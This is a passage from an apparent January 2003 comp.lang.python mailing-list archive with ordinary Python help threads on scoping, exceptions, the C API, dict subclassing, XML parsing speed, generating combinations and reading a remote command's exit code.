is a prototype of what that package is supposed to look like for the
user.  There's some urgency to this because I'd like to get a useable
test version (which this isn't) into 2.3a2 (which is going out very
soon).  So I put what I have out for for comments, even in its current
rough form.  The package I want to have in the final 2.3 release will
be written as a C extension and be fast enough for bulk operations in
production systems.

BTW, Bryan Olson kindly supplied me with a version of AES written in
pure Python, which is quite an elegant piece of code, and fast enough
to be useful for some limited purposes (on my p3-750 it encrypts a few
hundred blocks per second, as compared to around 1 block/sec for the
original Python reference implementation).  So I'll incorporate
Bryan's code into my test package, and will attempt some NIST test
vectors.

Anyway, I've gotten some helpful comments; more comments are of course
still solicited.

Thanks.

Paul



From peter at engcorp.com  Wed Jan  8 12:03:02 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 12:03:02 -0500
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org>
Message-ID: <3E1C59C6.5D8034CD@engcorp.com>

Michal Vitecek wrote:
> 
>  i've encountered a strange problem with accessing a global variable
>  from imported module. the imported module (file imported.py) contains:
> 
> ---imported.py start---
>  def someFunction():
>     global GLOBAL_VARIABLE
> 
>     print GLOBAL_VARIABLE
> ---imported.py end---
> 
>  and now the session copy:
> 
> ---session start---
> Python 2.2.1 (#4, Sep  4 2002, 13:43:54)
> [GCC 2.95.3 20010315 (release)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> GLOBAL_VARIABLE = 'some value'
> >>> from imported import *
> >>> dir()
> ['GLOBAL_VARIABLE', '__builtins__', '__doc__', '__name__', 'someFunction']
> >>> someFunction()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "imported.py", line 4, in someFunction
>     print GLOBAL_VARIABLE
> NameError: global name 'GLOBAL_VARIABLE' is not defined
> >>>
> ---session end---
> 
>  what's the problem here? it seems to me like this is a bug in python.

"Globals" are not really *global* in Python, they are visible only
throughout the module in which they are defined, not throughout the
entire application.

You've defined "GLOBAL_VARIABLE" in the module used for the interactive
interpreter (well, I think that's roughly what happens... it's close
enough for this discussion) but someFunction() is defined in another
module which has its _own_ "namespace" (basically, the set of names
that it recognizes).  Even though you've imported a name from the 
"imported" namespace into your own namespace(*), you don't change
the fact that someFunction() looks in the namespace of the "imported"
module to find the "global".

(*) The form "from module import *" is, by the way, generally a bad 
idea, but you can read the archives to find out why as it has
been much discussed in the past.

-Peter



From gerhard.haering at gmx.de  Sat Jan 18 07:50:52 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 18 Jan 2003 12:50:52 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <95ii2vog1ammovhj7v9d93f74clf6fkjlq@4ax.com>
Message-ID: <slrnb2ijdb.2vu.gerhard.haering@lilith.my-fqdn.de>

Afanasiy wrote:
> On 18 Jan 2003 12:55:08 +0100, martin at v.loewis.de (Martin v. L?wis) wrote:
> 
>>Afanasiy <abelikov72 at hotmail.com> writes:
>>
>>> How is it expected I create overloaded methods/functions in the C API?
>>
>>This is not possible. Overloading of methods is not supported in Python.
> 
> As a matter of principle?

Not as a matter of principle. The language just doesn't support it
having multiple methods with the same name in the same class.

Of course you can subclass a class and override a method.

You can, however, have functions with a variable number of arguments.

At the C API, the function you'll need to implement this is
PyArg_ParseTupleAndKeywords.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From jepler at unpythonic.net  Wed Jan  1 21:48:03 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 1 Jan 2003 20:48:03 -0600
Subject: python2.2.2 make error
In-Reply-To: <av01bq$ri8$1@news1.kornet.net>
References: <av01bq$ri8$1@news1.kornet.net>
Message-ID: <20030101204751.A1255@unpythonic.net>

On Thu, Jan 02, 2003 at 10:01:19AM +0900, ?????? wrote:
> 
> I have a problem in compiling python 2.2.2.
> 
> The error message is like this.
> 
> c++  -Xlinker -export-dynamic -o python \
>                 Modules/python.o \
>                 libpython2.2.a -ldl  -lpthread -lutil   -lm
> /usr/bin/ld: Dwarf Error: Invalid or unhandled FORM value: 14.
[..]
> 
> Red Hat 7.2 and gcc version 3.1.1
> 
> Any suggestion would be very appreciated.

This tends to suggest that gcc has created an object file that ld
cannot read.  Not likely to be a Python bug, it doesn't do anything at
all subtle with object files.

A google search for "Dwarf error ... value" (not even as a phrase) turns
this up as the first hit:

    http://gcc.gnu.org/ml/gcc/2002-02/msg00965.html

 From: Daniel Jacobowitz <drow at mvista dot com>                                                                                                                
 To: Craig Rodrigues <rodrigc at attbi dot com>                                                                                                                  
 Cc: gcc at gcc dot gnu dot org                                                                                                                                  
 Date: Sat, 16 Feb 2002 15:44:38 -0500                                                                                                                           
 Subject: Re: Dwarf Error: Invalid or unhandled FORM value: 14.                                                                                                  

 On Sat, Feb 16, 2002 at 03:03:25PM -0500, Craig Rodrigues wrote:                                                                                                      
 > Hi,                                                                                                                                                                 
 >                                                                                                                                                                     
 > I just compiled gcc 3.1 from CVS:                                                                                                                                   
 >                                                                                                                                                                     
 > gcc version 3.1 20020216 (experimental)                                                                                                                             
 > Linux dibbler 2.4.7-2 #1 Tue Aug 14 05:20:08 EDT 2001 i586 unknown                                                                                                  
 > host: i686-pc-linux-gnu                                                                                                                                             
 > binutils-2.10.91.0.2-3                                                                                                                                              
                                                                                                                                                                       
 FORM 14 is DW_FORM_strp, recently added to GCC.  You need a newer                                                                                                     
 binutils.                                                                                                                                                             

It sounds like you need to make sure your upgrade to gcc 3.1.1 is
complete, including the relevant binutils version bump.

Jeff




From peter at engcorp.com  Wed Jan  8 12:24:07 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 12:24:07 -0500
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org> <x71y3nwolf.fsf@guru.mired.org>
Message-ID: <3E1C5EB7.ECA675AA@engcorp.com>

Mike Meyer wrote:
> 
> Michal Vitecek <fuf at mageo.cz> writes:
> > ---session start---
> > Python 2.2.1 (#4, Sep  4 2002, 13:43:54)
> > [GCC 2.95.3 20010315 (release)] on linux2
> > Type "help", "copyright", "credits" or "license" for more information.
> > >>> GLOBAL_VARIABLE = 'some value'
> > >>> from imported import *
> > >>> dir()
> > ['GLOBAL_VARIABLE', '__builtins__', '__doc__', '__name__', 'someFunction']
> > >>> someFunction()
> > Traceback (most recent call last):
> >   File "<stdin>", line 1, in ?
> >   File "imported.py", line 4, in someFunction
> >     print GLOBAL_VARIABLE
> > NameError: global name 'GLOBAL_VARIABLE' is not defined
> > >>>
> > ---session end---
> >
> >  what's the problem here? it seems to me like this is a bug in python.
> 
> The global statement doesn't declare a variable, it tells the
> interpreter to look in the global namespace for the variable. Since it
> isn't there, the name is going to be undefined. Try doing
> "GLOBAL_VARIABLE = 1" in your interpreter before you infoke
> someFunction().

If you look closely, you'll see he did a "GLOBAL_VARIABLE = 'some value'"
in the interpreter before invoking someFunction(), which should have
worked if your explanation is valid.

-Peter



From cben at techunix.technion.ac.il  Wed Jan 15 03:00:56 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Wed, 15 Jan 2003 10:00:56 +0200 (IST)
Subject: syntax for preset locals without using dummy args with defaults
In-Reply-To: <125070000.1042489132@localhost.localdomain>
Message-ID: <Pine.GSO.4.44_heb2.09.0301150959430.13491-100000@techunix.technion.ac.il>

On 2003-01-14, Andrew McGregor wrote:

> How about:
>
> with:
>   z = some_expression
>   z1 = some_other_expression
>   # for consistency, should allow this too.
>   def quux(bar):
>       do_something()
> do:
>   def foo(x, y=default):
>       do_stuff()
>
Yes, this is probably optimal (or very close) if we want it at all.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>

Holy resolution for a holy war: the Torah stores most numbers as
little-endian (e.g. "seven and twenty and a hundred years")!





From edream at tds.net  Sat Jan 11 06:15:07 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 11 Jan 2003 11:15:07 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org>
Message-ID: <%0TT9.121156$Hs2.11453314@kent.svc.tds.net>

> > This announcement seems to be making a truly remarkable claim, namely
> > that one could increase the speed of  C code by recoding it in Python
> > and then applying Psycho to it.

> Yep, you can!  It takes a pretty strange piece of code, but it does
happen.
> For instance, I've written a key-management protocol in Python, and it
> really is faster than the C implementations of the same thing when certain
> key functions are fed to psyco.  (of course, this may just say that I have
> a better feel for algorithm design)

Even with the caveat about the algorithm, such a result is indeed "truly
remarkable".  Thanks for this information.

> For instance, in a dynamic language, you can't know until
> runtime if some argument to a method has constant type or (better)
> constant value, but a JIT can discover and use this.  If it does not,
> and someone passes it a different type or value, the JIT can then discover
> this and compile a new version that handles that type, optimised.
> Note that the constant value case can't be optimised by a C compiler,
> unless the function is inlined, which doesn't happen in big programs very
> much because the function will often be in another module.

I was referring to something  like this when I wrote point 1.  Still, it is
amazing
that something like this could be so effective.  I suppose in time all of
our
instincts will be revised by psycho.  Still, I'll believe it when I see it
:-)

Edward





From Mongryong at sympatico.ca  Thu Jan 30 18:04:26 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 30 Jan 2003 18:04:26 -0500
Subject: Which exception has been used? (was: Which exception to use?)
In-Reply-To: <v3jak3of0o8ga2@corp.supernews.com>
References: <b16lui$j3s$1@bob.news.rcn.net>
	<mailman.1043786834.24179.python-list@python.org>
	<7h3y954ywdw.fsf@pc150.maths.bris.ac.uk> 
	<v3jak3of0o8ga2@corp.supernews.com>
Message-ID: <1043967867.2141.126.camel@refugeeMedia>

> Suppose, as is always true, though, that I'm dealing
> with modules not under my control.  How do I catch
> "other"?  

Two ways that I know of:

1) sys.exc_info() returns a tuble (<class>, <instance>, <traceback>)

import sys
try:
	x = 5/0
except:
	print sys.exc_info()
	
2) traceback.print_exc(streamType)

import traceback
myLog = open("logfile", "w+")
try:
	x = 5/0
except:
	traceback.print_exc(myLog)

Now, hopefully you know about the "finally" claus:

ie.

try:
	mutex.acquire()
	doSomethingHeavyDuty()
except:
	excInfo = sys.exc_info()
	myErrorHandler.handler(excInfo)
finall:
	mutex.release()

Note: You should use sys.exc_info() right away just incase another
exception occurs - in that case, the old exception info will be lost.






From mwh at python.net  Thu Jan 16 09:25:31 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 16 Jan 2003 14:25:31 GMT
Subject: copy-on-write for dict objects?
References: <avtss7$ejg$1@news.sns-felb.debis.de> <7h3n0m2p77m.fsf@pc150.maths.bris.ac.uk> <b06ddn$5vk$1@news.sns-felb.debis.de>
Message-ID: <7h34r89p3wp.fsf@pc150.maths.bris.ac.uk>

Matthias Oberlaender <matthias.oberlaender at REMOVE.daimlerchrysler.com> writes:

> In <7h3n0m2p77m.fsf at pc150.maths.bris.ac.uk> Michael Hudson wrote:
> > Matthias Oberlaender <matthias.oberlaender at REMOVE.daimlerchrysler.com> 
> writes:
> > 
> > > Is there an easy way in Python 2.2.1 to add a copy-on-write mechanism to 
> > > subclasses of dict, i.e. without extending/modifying the C-code 
> > > implementation?  (I guess there is none!)
> > 
> > Not sure what you mean.  But I doubt it.  You need a level of
> > indirection in there, so I don't see how you could do it directly even
> > hacking C.
> > 
> > > I don't want to resort to UserDict again, since, at least for my
> > > purposes, it's much slower than direct subclasses of dict (around
> > > 10x)
> > 
> > I know that feeling.
> > 
> Thanks for all the answers so far (from Andrew, Just and Michael)
> 
> A line of "hacking" I could think of is this:
> 
> class MyDict(dict):
> 
>   def __init__(self, d)
>     self.sharedDict = d
>     self.oldPtr = getTable(self)
>     # getTable should be some external function that returns the C pointer to
>     # the object's hashtable
>     setTable(self, getTable(self.sharedDict))
>     # setTable should be some external function that explicitly sets the C 
>     # pointer to the hashtable
>     self.mustCopy = 1
>     
>   def _onWrite(self):
>     setTable(self, self.oldPtr)
>     self.update(self.sharedDict)
>     self.sharedDict = None # give up the reference 
>     self.mustCopy = 0
>     
>   ....
> 
> You get the idea? I don't know much about the magic behind the scenes. Maybe 
> this is to naive? 

Hmm, that could work.  Is never going to from Python, though, I'd hazard.

You *could* try this (untested):

class UnSharedDict(dict):
   __slots__ = ["other"]

class SharedDict(UnSharedDict, UserDict.DictMixin):
   __slots__ = ["other"]
   def __init__(self, other):
       self.other = other
   def __getitem__(self, key):
       return self.other[key]
   def __setitem__(self, key, value):
       super(SharedDict, self).__setitem__(key, value)
       self.__class__ = UnSharedDict

   def has_key(self, key):
       return key in self.other
   def __iter__(self):
       return iter(self.other)

But you're probably going to find lot's of places that blissfully
ignore the __getitem__ method.

> Why do I want this ? 

That wasn't the bit that bothered me :)

Cheers,
M.

-- 
  I really hope there's a catastrophic bug insome future e-mail
  program where if you try and send an attachment it cancels your
  ISP account, deletes your harddrive, and pisses in your coffee
                                                         -- Adam Rixey



From sholden at holdenweb.com  Wed Jan 15 09:02:57 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 15 Jan 2003 14:02:57 GMT
Subject: references / aliases in Python
References: <f57664b9.0301141544.1f797188@posting.google.com>
Message-ID: <lSdV9.2821$YI5.1170@news2.central.cox.net>

"Jonathan P." <jbperez808 at yahoo.com> wrote in message
news:f57664b9.0301141544.1f797188 at posting.google.com...
> In:
>
> http://www.python.org/cgi-bin/faqw.py?req=show&file=faq06.031.htp
>
> I couldn't exactly follow Steve Holden's example:
>
>     function(args).dict[index][index].a = 21
>     function(args).dict[index][index].b = 42
>     function(args).dict[index][index].c = 63
>
> But the idea of references did get through because I was
> trying to do something similar.  I was wondering if there
> was a way to get true references in Python ala below:
>
Well I'm not sure that was *MY* example (though there's a CVS repository
which would force me to confess if it proved to be the case).

However, basically what it's trying to say is that you can use a name bound
to an object to speed up references to attributes of that object. In the
case you quote, the object is function(args).dict[index][index], and the
point is that Python, which uses few optimizations to speed up compiled
code, will cheerfully go through the exact same sequence of operations three
times to determine the same object, whose "a", "b" and "c" attributes are
required by the code.

So, it's a win to bind a name to the object and then qualify that name to
get the attributes of the object.

> >>> class A:
>       def __init__(self):
>         self.long_name1=5
>         self.long_name2=15
>       def f1(self):
>         ref1=&self.long_descriptive_name1  # hypothetical address-of
operator
>         ref2=&self.long_descriptive_name2
>         if (*ref1)>(*ref2)+1: (*ref1)=(*ref2)
>         # hypothetical dereference operator
>
> replacing the long and rather unreadable (in practice it often
> gets much worse than shown below):
>
>       if self.long_descriptive_name1>self.long_descriptive_name2+1:
>           self.long_descriptive_name1=self.long_descriptive_name2
>
> Is there a way to get aliases without having to add a pointer
> type + referencing / dereferencing operators to Python?  What
> exactly is the Python philosophy regarding pointer types and
> referencing / dereferencing?

Unfortunately this requirement is the other way around. If the
long_descriptive_names refer to objects whose attributes are required then
you can use the trick from the FAQ. Otherwise you are hosed: if two names
are bound to the same immutable value, changing the value of one leaves the
names referring to different objects.

With mutable objects the position is a little better: modifying a mutable
object to which multiple namesa re bound leaves each name still referring to
the same object. However, you then need to take care with augmented
assignments (such as +=) because there the language lets the object
implementation decide whether the operation is implemented as an in-place
update (giving the latter behavior) or as the creation of a new object
(giving the former behavior).

The Python philosophy regarding poiner types is simple: there aren't any.
Names are references to values. Attributes of objects are references to
values. Elements of dictionaries, lists and tuples are references to values.
Values do not have names, they are simply bound by assignment (to names,
attributes of objects, or elements of dictionaries, lists and tuples). Each
value (object) has an associated reference counter, incremented and
decremented automatically as references are created and destroyed. When an
object's reference count reaches zero it becomes a candidate for garbage
collection. Special features allow collection of "cyclic garbage" to handle
the cases where a set of objects refer only to each other.

Hope this helps.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From tdelaney at avaya.com  Sun Jan 12 19:46:36 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 13 Jan 2003 11:46:36 +1100
Subject: Explicit Frustration of the Self
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A82D@natasha.auslabs.avaya.com>

> From: DeadWisdom at wisefool.net [mailto:DeadWisdom at wisefool.net]
> > 
> > OK - officially a troll.
> > 
> > Tim Delaney
> 
> Oh hey hey, sorry.  Jeesh, I was just trying to push some ideas out. 
> Criticize my ideas not me.  I'm actually quite amazed by the respect
> for the explicit self, so I'm listening quite much to what people are
> saying.  I hope I didn't ruin your day.

He he he ... not in the slightest. I notice I forgot a smiley at the end ;)

This is however a FAQ that has been debated endlessly on c.l.py with exactly
the same arguments every time.

http://www.python.org/cgi-bin/faqw.py?req=show&file=faq06.007.htp

Tim Delaney




From akjmicro at yahoo.com  Sat Jan 25 14:16:30 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 13:16:30 -0600
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <877kct1tgk.fsf@flibuste.net>
Message-ID: <b0unpk$6aj$1@bob.news.rcn.net>

In message <877kct1tgk.fsf at flibuste.net>, William wrote:
> Aaron K. Johnson <akjmicro at yahoo.com> writes:
> 
> > Ok.
> > 
> > I've finally taken into account the objections raised herein, and
> modified my
> > usenet query algorithms.
> > 
> > What you see below are pure and simple the number of unique posters to
> each
> > comp.lang.whatever hierarchy in December 2002.
> 
> can you give us your script ? i would like to compare with fr.comp.lang.*

William, I'll send you a private email with the script.

Anyone else who wants it, I'll send it to you, with the caveat that any
improvements you make to it, you send back to me, or uses you put it to, you
give me the output to......

> > 
> > Thanks,
> > Aaron.
> > 
> > comp.lang.java 5347
> > comp.lang.c++ 3075
> > comp.lang.perl 2136
> > comp.lang.javascript 2130
> > comp.lang.python 1996
> > comp.lang.basic 1758
> > comp.lang.c 1670
> > comp.lang.labview 958
> > comp.lang.clipper 922
> > comp.lang.tcl 853
> > comp.lang.pascal 805
> > comp.lang.ruby 767
> > comp.lang.clarion 707
> > comp.lang.lisp 587
> > comp.lang.fortran 517
> > comp.lang.smalltalk 391
> > comp.lang.asm 386
> > comp.lang.cobol 382
> > comp.lang.ada 376
> > comp.lang.vhdl 370
> > comp.lang.scheme 349
> > comp.lang.postscript 319
> > comp.lang.prolog 243
> > comp.lang.functional 237
> > comp.lang.idl-pvwave 230
> > comp.lang.forth 226
> > comp.lang.verilog 223
> > comp.lang.awk 211
> > comp.lang.vrml 153
> > comp.lang.rexx 147
> > comp.lang.apl 142
> > comp.lang.mumps 126
> > comp.lang.pl1 121
> > comp.lang.misc 115
> > comp.lang.objective-c 108
> > comp.lang.eiffel 101
> > comp.lang.logo 80
> > comp.lang.ml 73
> > comp.lang.asm370 65
> > comp.lang.dylan 38
> > comp.lang.modula3 30
> > comp.lang.oberon 26
> > comp.lang.modula2 23
> > comp.lang.pop 22
> > comp.lang.icon 17
> > comp.lang.idl 15
> > comp.lang.limbo 5
> > comp.lang.clos 4
> > comp.lang.prograph 2
> > comp.lang.clu 2
> > 
> 





From andrew-pythonlist at puzzling.org  Sat Jan 18 19:56:20 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sun, 19 Jan 2003 11:56:20 +1100
Subject: Coding standard: Prefixing variables to indicate datatype
In-Reply-To: <20030118165808.GB22993@meson.dyndns.org>
References: <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0bvlg$rs9$1@news.eusc.inter.net> <20030118165808.GB22993@meson.dyndns.org>
Message-ID: <20030119005620.GA8210@frobozz.local>

On Sat, Jan 18, 2003 at 11:58:08AM -0500, Jp Calderone wrote:
> On Sat, Jan 18, 2003 at 05:33:39PM +0100, Daniel Dittmar wrote:
> > 
> > Now that there are class methods, there's no longer the need to force 
> > this into a instance method call. str.join (somelist [, joinstring]) 
> > does the job just fine.
> 
>   Sure, it would work, but *why*?  I don't see join as making any sense as a
> class method.

If string.join(seq, sep) is readable, then presumably str.join(sep, seq)
isn't too far off.

One argument I've heard from a relative python newbie is that they didn't
like ''.join because it seemed like object-orientation taken too far.
Presumably they consider joining a string to be a straightforward procedural
thing, but the other thing is that people do expect lists, not strings, to
have a .join method, despite the obvious problem that not every sequence is
a list.

-Andrew.





From johnroth at ameritech.net  Fri Jan 17 16:09:35 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 17 Jan 2003 16:09:35 -0500
Subject: 2.2.2 generates: "TypeError: 'module' object is not callable"
References: <5e536696.0301171256.1d3d9c48@posting.google.com>
Message-ID: <v2gs6ls64ud184@news.supernews.com>

"RW" <richard_wheeler at cinfin.com> wrote in message
news:5e536696.0301171256.1d3d9c48 at posting.google.com...
> Calls to the class dcHelper below works fine under 2.2.1 but now
> breaks under 2.2.2 with the error: "TypeError: 'module' object is not
> callable".
>
> The processResults() method is called recursively.  The first time
> that dcHelper class is called is while it is in a recursive call.  The
> dcHelper object generated is then passed to processResults() in a
> recursive call later.  However in the 2.2.2 version it gets the
> TypeError on the very first call to dcHelper before it can pass it
> another recursive call to ProcessResults().
> Can anyone help me with this?  Platform is Win2K using ActiveState
> 2.2.2 distribution of python.
>
> Thanks
>
> Prototype Example:
>
> def processResults( dc = None ):
>     class dcHelper( object ):
>         def __new__( cls, whichway, alist ):
>             self = super( dcHelper, cls ).__new__( cls )
>             self.diff_files = []
>             self.subdirs = {}
>             if whichway == 'left_only':
>                 self.right_only = []
>                 self.left_only = alist
>             else:
>                 self.right_only = alist
>                 self.left_only = []
>             return self
>
>     if dc == None
>         processResults( '.' )
>
>     if dc == '.':
>         pathName = dc
>         name = 'x'
>
>         diff_dirs[name] = dcHelper( 'right_only', os.listdir(pathName)
> )
>         processResults( diff_dirs[name] )
>
> processResults()

What's the module called?
Is the class in this module, or in another one?
If it's in another one, how is it imported?

John Roth






From peter at engcorp.com  Wed Jan 29 10:14:08 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 10:14:08 -0500
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <3E3724FF.8358506E@engcorp.com> <u2MZ9.2132$wd2.169355@newsread2.prod.itd.earthlink.net>
Message-ID: <3E37EFC0.62499650@engcorp.com>

Brandon Van Every wrote:
> 
> Peter Hansen wrote:
> > Brandon Van Every wrote:
> >>
> >> Python is a "glue" language, ...
> >
> > Just checking here :-)... you're not saying Python is *only* a glue
> > language, right?  Just that it *can be* used as a glue language when
> > you need such a thing?
> 
> I see no primary purpose for Python's existence other than as a glue
> language.

I would have responded at more length, but thankfully Erik Max Francis
posted first and pointed out the (what should have been to me) obvious:
you're trolling.

In any event, you would not be able to say that after visiting a 
company (such as my current employer; contact me offline to arrange 
a visit if you're in the Toronto area) which makes extensive use of
Python as far more than a glue language.

We write almost exclusively in Python, and include in the set of
applications which we write: factory test automation, web applications,
standalone GUI programs, embedded systems, and something else... let
me think what it could be.... oh yeah, *glue*.  

But I'm now sure you're trolling (especially since we've never heard
you here before) so I doubt I'll respond to further posts.

-Peter



From max at alcyone.com  Wed Jan 29 21:56:38 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 18:56:38 -0800
Subject: Getting return value in os.system rsh call
References: <48633651.0301291033.6f6afeb6@posting.google.com>
Message-ID: <3E389466.8789FA1A@alcyone.com>

Andrew wrote:

> I'm writing a test script which kicks off tests on remote machines,
> and I need to get the return code from the remote test in my main
> program.
> 
> the relevent bit is
> 
> os.system("rsh remote test.py")
> 
> How can I get the return value of test.py?

You can't directly (this is a problem with any of these kinds of
remotely executing things), what you get is the result of the rsh (or
ssh, if that were what you were using, and as an aside it would be
advisable to switch), not the command which rsh executed remotely.

Instead you need to resport to using os.popen (or one the
popen2.popen... functions), and actually having your remote script print
its result code.  Since you're using os.system, you obviously don't care
about the output, so try something like this (untested):

	result = None
	pipe = os.popen(r"rsh remote test.py \; echo $?")
	try:
	    output = pipe.read().strip() # strip off the newline
	    result = int(output)
	finally:
	    pipe.close()
	# now result should contain the exit code

This will only work if test.py doesn't generate any output on its own;
if it does, then you'll either want to do pipe.readlines()[-1].strip()
(to get the last line) or, better yet, just toss its output altogether
(you obviously don't care about that, since you were using os.system
before); change the popen command to something like:

	r"rsh remote test.py \> /dev/null 2\> /dev/null \; echo $?"

Note the backslashes are important, since

	r"rsh remote test.py > /dev/null 2> /dev/null ; echo $?"

would mean something quite different (and exactly what you're not
wanting).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The work will teach you how to do it.
\__/ (an Estonian proverb)
    Python chess module / http://www.alcyone.com/pyos/chess/
 A chess game adjudicator in Python.



From skip at pobox.com  Thu Jan 16 12:33:38 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 16 Jan 2003 11:33:38 -0600
Subject: Declaring A Function Argument As Global?
In-Reply-To: <9fp60b.86b2.ln@boundary.tundraware.com>
References: <9fp60b.86b2.ln@boundary.tundraware.com>
Message-ID: <15910.60658.74049.953771@montanaro.dyndns.org>

I believe this should work

    def lhandler(list):
        list[:] = list[1:]

Skip




From sholden at holdenweb.com  Sun Jan 12 12:59:37 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sun, 12 Jan 2003 12:59:37 -0500
Subject: Problems with Python running improperly in CGI scripts?!? (Help!)
References: <oAHT9.129634$eq2.27781795@twister.nyroc.rr.com>
Message-ID: <%ZhU9.267541$bZ.38739@FE07>

"Randy Burgess" <rburgess1 at hvc.rr.com> wrote in message
news:oAHT9.129634$eq2.27781795 at twister.nyroc.rr.com...
>
> I am having an acute crisis with a CGI script-driven site I coded to run
on
> part of my overall Web site, which is hosted by Hostway (www.hostway.com).
>
> Hostway only runs Python 1.5.1, but I got as close as I could in my
> development environment by installing 1.5.2 and coding against that. The
> scripts I developed ran fine after uploading to Hostway's unix server for
> several days. Then, this morning, three of the scripts (each script = a
> page) began bombing out, refusing to honor a very simple conditional that
is
> identical in all three.
>
[...]
Have Hostway upgraded their Python, perchance?

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/







From aleax at aleax.it  Fri Jan 31 09:28:12 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 14:28:12 GMT
Subject: A puzzle for Pythonistas
References: <b68f71a7.0301310459.31539d3c@posting.google.com>
Message-ID: <0Kv_9.109127$0v.3149263@news1.tin.it>

Alan James Salmoni wrote:
   ...
> The problem is defined like this: I have a list of unique integers,
> and the list is of arbitrary length, though 2 elements is the minimum.
> Using each integer only once, what are the possible combinations of 2
> or more elements that can be derived from this list. I know how to

All combinations:

def allcombos(somelist):
    if not somelist:
        yield somelist
        return
    head, tail = somelist[:1], somelist[1:]
    for sublist in allcombos(tail):
        yield head + sublist
        yield sublist

(you'll need to add a "from __future__ import generators" at the
start of your module if you're using Python 2.2 rather than 2.3).

only those combinations of length 2 or more, if you need them
as a list:

longcombos = [ x for x in allcombos(somelist) if len(x) >= 2 ]

or if you need just to iterate on them, then another generator:

def filterlong(sequences, minlen=2):
    for sequence in sequences:
        if len(sequence) >= minlen:
            yield sequence

and

longcombos = filterlong(allcombos())

> I have a nasty feeling that the code may be complex, so feel free to

Why should it be complex...?


Alex




From fredrik at pythonware.com  Thu Jan  2 16:50:13 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 02 Jan 2003 21:50:13 GMT
Subject: Why is xml.dom.minidom so slow?
References: <mailman.1041539884.13159.python-list@python.org>
Message-ID: <pu2R9.3778$FF4.233862@newsb.telia.net>

Bjorn Pettersen wrote:

> All I'm doing boils down to:
>
>   response = rf.nextResponse()
>   dom = parseString(response)
>
> in a loop. Am I doing something wrong? Is there a faster way when all I
> need is a traversable tree structure as the result?

as a general rule, XML toolkits that try to implement the DOM specification
in pure Python are incredibly slow and bloated.

on random XML data, minidom can easily gobble up a kilobyte or two for
each element.  in one of my benchmarks, it used about 50 bytes of object
memory for each input character:

    http://online.effbot.org/2002_12_01_archive.htm#dom-bloat

creating all those objects take time...

toolkits that use a more pythonic api also tend to be more efficient; for
example, the pure python version of my elementtree module is typically
3-5 times faster than minidom, and uses less than half the memory:

    http://effbot.org/zone/element-index.htm

you may be able to reach 10x with SAX-style custom code using pyexpat
(or sgmlop) directly...

    http://www.python.org/doc/current/lib/module-xml.parsers.expat.html
    http://effbot.org/zone/sgmlop-index.htm

...but to be on the safe side, I'd go for a C parser/tree builder.  the following
two are about as fast as anything can be:

    http://xmlsoft.org/python.html
    http://www.reportlab.com/xml/pyrxp.html

(unfortunately, the C version of elementtree isn't yet ready for public
consumption...)

</F>





From mertz at gnosis.cx  Fri Jan  3 14:04:29 2003
From: mertz at gnosis.cx (David Mertz)
Date: Fri, 03 Jan 2003 14:04:29 -0500
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
 <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org>
 <3e159dcc_2@news.bluewin.ch>
Message-ID: <96dF+kKkXsTb092yn@gnosis.cx>                       

